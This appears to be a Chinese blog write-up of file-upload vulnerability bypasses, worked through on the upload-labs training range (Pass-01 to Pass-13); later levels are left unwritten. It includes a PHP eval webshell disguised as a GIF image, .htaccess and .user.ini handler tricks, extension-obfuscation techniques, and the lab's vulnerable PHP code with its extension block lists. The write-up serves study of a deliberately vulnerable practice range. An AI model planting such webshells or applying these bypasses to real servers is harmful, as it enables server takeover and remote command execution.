文件上传漏洞详解-以upload-labs-master靶场为例

渗透测试自学日志,目前复习到文件上传。
免责声明
该文章仅用于信息防御技术的交流和学习,请勿用于其他用途;
在未得到网站授权前提下,禁止对政府、事业单位、企业或其他单位网站及系统进行渗透测试;技术是把双刃剑,请遵纪守法,做一名合格的白帽子安全专家,为国家的网络安全事业做出贡献;

欢迎关注我的公众号:网安小白成长日记

文件上传的原理

在 Web 中进行文件上传是通过将表单设为 multipart/form-data,同时加入文件域,而后通过 HTTP 协议将文件内容发送到服务器,服务器端读取这个分段 (multipart) 的数据信息,并将其中的文件内容提取出来并保存的。通常,在进行文件保存的时候,服务器端会读取文件的原始文件名,并从这个原始文件名中得出文件的扩展名,而后随机为文件起一个文件名 ( 为了防止重复 ),并且加上原始文件的扩展名来保存到服务器上。

一、文件上传漏洞介绍

简述

文件上传漏洞是指在文件上传的功能处,服务端脚本语言未对上传的文件进行严格验证和过滤,导致用户上传恶意的文件,从而获取执行服务端命令的能力。文件上传功能本身没有问题,但在文件上传前,是否对文件类型进行了限制;文件上传后,服务器应该怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

常见漏洞点

相册、头像上传视频、照片分享附件上传(论坛发帖、邮箱)文件管理器

产生漏洞的原因

  1. 服务器的错误配置
  2. 开源编码器漏洞
  3. 本地上传上限制不严格
  4. 服务器端过滤不严格

上传漏洞的危害

  • 上web木马文件,控制web服务器文件、远程命令执行等;
  • 上传系统病毒、木马文件进行挖矿、僵尸网络;
  • 上传系统溢出程序进行权限提升;
  • 修改web页面实现钓鱼、挂马、暗链等操作;
  • 内网渗透

二、文件上传合法性的检测方法

前端JS验证

在浏览加载文件,但还未点击上传按钮时便弹出对话框,(进一步确定可以通过配置浏览器HTTP代理(没有流量经过代理就可以证明是客户端JavaScript检测))内容如:只允许传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。

MIME类型验证

web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。MIMEType,也就是该资源的媒体类型。web服务器使用MIME来说明发送数据的种类, 浏览器使用MIME来说明希望接收到的数据种类。
媒体类型通常是通过 HTTP 协议,由 Web服务器告知浏览器的,更准确地说,是通过 Content-Type 来表示的。
Content-Type 类型表

文件后缀Mime类型说明
.html或.htmtext/html超文本标记语言文本
.txttext/plain普通文本
.xmltext/xmlXML
image/gifgif图片
image/jpegJPEG图形
image/pngpng图片格式
.flvflv/flv-flash在线播放
.rtfapplication/rtfRTF文本
.auaudio/basicau声音文件
.mid或.midiaudio/midi或audio/x-midiMIDI音乐文件
.ra或.ram或.rmaudio/x-pn-realaudioRealAudio音乐文件
.mpg或.mpeg或.mp3video/mpegMPEG文件
.avivideo/x-msvideoAVI文件
application/xhtml+xmlXHTML格式
application/xmlXML数据格式
application/atom+xmlAtom XML聚合格式
application/jsonJSON数据格式
application/pdfpdf格式
application/mswordWord文档格式
application/octet-stream二进制流数据(如常见的文件下载)
application/x-www-form-urlencoded中默认的encType,form表单数据被编码为key/value格式发送到服务器(表单默认的提交数据的格式)
.gzapplication/x-gzipGZIP文件
.tarapplication/x-tarTAR文件
.exeapplication/octet-stream下载文件类型
.rmvbvideo/vnd.rn-realvideo在线播放
.mrpapplication/octet-streamMRP文件(国内普遍的手机)
.ipaapplication/iphone-package-archiveIPA文件(IPHONE)
.debapplication/x-debian-package-archiveDED文件(IPHONE)
.apkapplication/vnd.android.package-archiveAPK文件(安卓系统)
.jarapplication/java-archiveJAR文件(JAVA平台手机通用格式)

黑名单/白名单

黑名单的安全性比白名单低很多,服务器端一般会有个专门的blacklist文件,里面会包含常见的危险脚本文件类型,例如:html | htm | php | php2 | hph3 | php4 | php5 | asp | aspx | ascx | jsp | cfm | cfc | bat | exe | com | dll | vbs | js | reg | cgi | htaccess | asis | sh |phtm | shtm |inc等等。黑名单扩展名过滤,限制不够全面:IIS默认支持解析.asp | .cdx | .asa | .cer等。
白名单仅允许指定的文件类型上传,比如仅与需上传jpg | gif | doc等类型的文件,其他全部禁止

检查文件内容(getimagesize()函数用于获取图像信息,检验关键字)

禁止本地文件包含漏洞

使用安全的Web服务

三、文件上传漏洞绕过

前端JS验证绕过(Pass-01)

用弹窗进行错误提示的话证明是运用了前端验证。
在这里插入图片描述

这时我们有几种不同的解决办法。

1、浏览器审查元素删除检测函数

F12找到验证部分的代码,然后删除,就可以上传。(尝试了没成功)
在这里插入图片描述

2、增加要上传的文件类型

F12找到验证部分的代码,然后修改,就可以上传。(也没成功)

3、上传正常格式文件通过BurpSuite抓包修改filename为脚本格式

在这里插入图片描述
在这里插入图片描述

后端验证

基于MIME(Pass-02)

1、 content-type验证审计+绕过
2、上传正常格式文件通过BurpSuite抓包修改filename为脚本格式
在这里插入图片描述
在这里插入图片描述

基于后缀(Pass-03)

通过源代码我们可以知道,后端验证的逻辑是通过判断文件的后缀名来限制文件上传的类型。
在这里插入图片描述
所以我们只需要抓包修改文件名后缀即可,这里我们改成php1。
在这里插入图片描述
在这里插入图片描述

黑名单验证

覆盖.htaccess绕过+代码审计(Pass-04)

如果依然用上面的方式,发现无法上传了
在这里插入图片描述
继续查看代码,发现更多的文件后缀名被限制
在这里插入图片描述可以选择通过’.htaccess’文件进行绕过。
‘.htaccess’文件相当于一种部分配置文件,好比局部变量一样,只在当前目录生效。比如你设置解析’.txt’解析为’.php’,那么’.htaccess’文件在的子目录中就会执行,而上一级目录不执行。

使用前需要在Apache的配置文件中进行两步配置。

AllowOverride All
LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so

创建’.htaccess’文件,然后在其中写入代码,使得文件在解析时将’.jpg’文件解析为’.php’文件,代码如下。

<FilesMatch "1.jpg"> 
SetHandler application/x-httpd-php 
</FilesMatch>

在这里插入图片描述

在上传时我们只需要将文件后缀名改为’.jpg’,访问时会自动被执行为’.php’文件。

.user.ini文件+代码审计(Pass-05)

这里发现限制了.htaccess,但依然没有想出好的方法,然后发现下一关是增加限制了.ini,然后看别人的攻略学会了一个新方法。
在这里插入图片描述
.user.ini
使用条件:
(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式
.user.ini.它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。

实例:上传.user.ini绕过黑名单检验

GIF89a //绕过exif_imagetype()
auto_prepend_file=a.jpg //在页面顶部加载文件
auto_append_file=a.jpg //在页面底部加载文件
优势:跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache

首先,构造一个.user.ini文件,内容如下:

GIF89a
auto_prepend_file=a.jpg

然后构造一个a.jpg,内容如下:

GIF89a

<?php @eval($_POST['pass'])?>
大小写绕过+代码审计(Pass-06)

没有限制大写

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

从源码可看出没有了大小写的限制,所以我们可以对后缀名进行大小写混合如将’test.php’改写为’test.Php’,以此绕过黑名单
在这里插入图片描述

在这里插入图片描述

后缀加空格绕过+代码审计(Pass-07)

没有了删除空格的代码,可以在文件后缀名末尾加空格,如’1.php’改写为’test.php ',windos在存储时会自动去处空格,但在检测时可以绕过黑名单限制。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

在这里插入图片描述

后缀加点绕过+代码审计(Pass-08)
后缀加::$DATA绕过+代码审计(Pass-09)

当php在windows环境的时候,如果文件名+ “:: D A T A " 会把 " : : DATA" 会 把 ":: DATA"会把"::DATA" 之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名

所以最终‘test.php’改写为’test.php::$DATA’,并且在存储时存储的文件名为’test.php’。
在这里插入图片描述
在这里插入图片描述

后缀加. 绕过+代码审计(Pass-10)

代码首先会去处文件名末尾的点,然后首尾去空。

可以利用这样的检验机制,首先我们在文件后缀名后添加一个点,希望最终以此来绕过黑名单检测,但是因为存在去除文件名末尾的点的代码,所以我们需要不止一个点,注意我们用来绕过黑名单的点显然不能够被消除,所以要在他后面放一个东西防止他落在最后一位。我们看到收尾去空的代码在去点代码之后,用空格来充当占位符号。

最终‘test.php’改写为’test.php. .',即可实现绕过黑名单。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

双写绕过+代码审计(Pass-11)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

所有与黑名单相同的后缀名都会被替换为空。利用这一特点,我们可以进行双写后缀名操作,即加一个后缀名让他替换掉,如‘shell.php’改写为’shell.pphphp’当后缀名被替换掉后会变成空格,可以绕过黑名单的检测,但是存储时空格会被去掉,最后剩下的文件后缀名合并为’shell.php’
在这里插入图片描述

00截断绕过+代码审计(Pass-12)

0x00,%00这两类截断都是属于同种原理,%00在url解码后为空字符,0X00即16进制的00。在解析后这两个内容都会被当做chr(0)来处理。
chr()函数的作用:返回括号中的参数所代表的字符。
chr(0)代表的含义是返回ASCII码中0代表的字符,也就是NULL。
当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。

传参方式为GET则需要使用%00,因为GET传参时url会自动编码,转移为空字符;
POST型传参时则不会进行自动编码,所以需要使用0x00进行截断。

00截断的使用条件:

  1. php版本要小于5.3.4。
  2. 文件路径可控。
  3. magic_quotes_gpc需要为OFF状态。(在php.ini中)
    在这里插入图片描述

基于文件内容

图片马绕过+代码审计(Pass-13)

在检测程序中都有对应的函数来检测上传的文件是否为一个真实的图片文件,且需要利用文件包含漏洞或者文件解析漏洞来使上传的文件进行解析。分析源码:

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

剩下这些,不想写了,有空再补

条件竞争绕过+代码审计
数组配合windows特性绕过+代码审计
phtml绕过+代码审计
exif_imagetype绕过+代码审计
图像二次渲染绕过+代码审计

PHP文件上传常用的函数
一、获取前端所上传的文件信息
*
$_FILES[“file”][“name”] - 上传文件的名称
*
$_FILES[“file”][“type”] - 上传文件的类型
*
$_FILES[“file”][“size”] - 上传文件的大小,以字节计
*
$_FILES[“file”][“tmp_name”] - 存储在服务器的文件的临时副本的名称
*
$_FILES[“file”][“error”] - 由文件上传导致的错误代码

二、文件处理函数
*
fopen() 函数用于在 PHP 中打开文件
*
fclose() 函数用于关闭打开的文件
*
feof() 函数检测是否已到达文件末尾(EOF)
*
fgets() 函数用于从文件中逐行读取文件。
*
fgetc() 函数用于从文件中逐字符地读取文件。
*
is_uploaded_file() 函数判断指定的文件是否是通过 HTTP POST 上传的。
*
move_uploaded_file() 函数将上传的文件移动到新位置。
*
file_exists() 函数检查文件或目录是否存
*
end() 函数将内部指针指向数组中的最后一个元素,并输出。
*
explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
*
in_array() 函数搜索数组中是否存在指定的值。

参考文章:
https://www.freebuf.com/articles/web/276245.html
https://www.freebuf.com/vuls/279171.html
https://blog.csdn.net/qq_43390703/article/details/104858705

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值